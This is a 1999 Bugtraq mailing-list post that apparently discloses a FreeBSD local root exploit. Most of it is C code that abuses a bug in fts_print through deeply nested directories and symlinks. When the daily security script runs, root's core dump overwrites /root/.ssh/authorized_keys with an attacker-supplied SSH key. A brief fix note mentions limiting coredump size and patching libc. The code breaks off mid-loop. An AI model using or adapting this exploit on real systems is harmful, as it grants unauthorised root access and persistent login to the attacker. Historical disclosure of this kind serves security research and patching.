Subject: FreeBSD (and other BSDs?) local root explot To: BUGTRAQ@SECURITYFOCUS.COM -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 /* (c) 1999 babcia padlina ltd. bug in fts_print function allows to overwrite any file in system, when running /etc/security script (executed from 'daily' scripts). affected systems: - freebsd (all versions) - probably openbsd/netbsd fix: - limit root's coredump size - patch libc */ #include #include #include #include #include #define STRING "\nYOUR PUBLIC SSH1 KEY (-b 512) GOES HERE!\n" #define FILE "/root/.ssh/authorized_keys" #define CORE "find.core" #define DEPTH 300 #define BUFSIZE 250 int makedir(dir, linkfrom, linkto) char *dir, *linkfrom, *linkto; { if (mkdir(dir, (S_IRWXU | S_IRWXG | S_IRWXO))) return -1; if (chdir(dir)) return -1; if (symlink(linkfrom, linkto) < 0) return -1; return 0; } int main(argc, argv) int argc; char **argv; { int i = 0; char pid[10], buf[BUFSIZE]; sprintf(pid, "%d", getpid()); if (mkdir(pid, (S_IRWXU | S_IRWXG | S_IRWXO))) { perror("mkdir()"); return -1; } if (chdir(pid)) { perror("chdir()"); return -1; } bzero(buf, BUFSIZE); memset(buf, 0x41, BUFSIZE-1); for(i=0;i